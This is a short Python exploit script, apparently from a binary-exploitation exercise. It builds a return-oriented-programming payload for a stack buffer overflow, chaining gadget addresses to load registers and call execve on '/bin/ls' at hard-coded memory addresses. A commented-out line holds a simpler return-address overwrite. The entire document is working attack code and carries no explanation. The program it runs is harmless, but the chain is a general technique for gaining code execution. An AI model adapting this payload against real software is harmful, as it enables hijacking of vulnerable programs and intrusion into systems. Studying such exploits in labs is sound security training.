BINLS = "\x2f\x62\x69\x6e\x2f\x6c\x73\x00"
BUFFER_ADDR = "\x30\xdb\xff\xff\xff\x7f\x00\x00"
BUFFER_ADDR_STORE = "\x38\xdb\xff\xff\xff\x7f\x00\x00"
RDI_GADGET_ADDR = "\x4f\xbf\xb4\xf7\xff\x7f\x00\x00"
RSI_GADGET_ADDR = "\x80\x48\xb4\xf7\xff\x7f\x00\x00"
RDX_GADGET_ADDR = "\x96\xeb\xa0\xf7\xff\x7f\x00\x00"
EXECVE_ADDR = "\x70\x97\xad\xf7\xff\x7f\x00\x00"
NULL = "\x00\x00\x00\x00\x00\x00\x00\x00";

payload = BINLS + BUFFER_ADDR + "\x00"*56 + RDI_GADGET_ADDR + BUFFER_ADDR + RSI_GADGET_ADDR + BUFFER_ADDR_STORE + RDX_GADGET_ADDR + NULL + EXECVE_ADDR
#payload = 'a'*72 + "\x06\x05\x40\x00\x00\x00\x00\x00"
print(payload)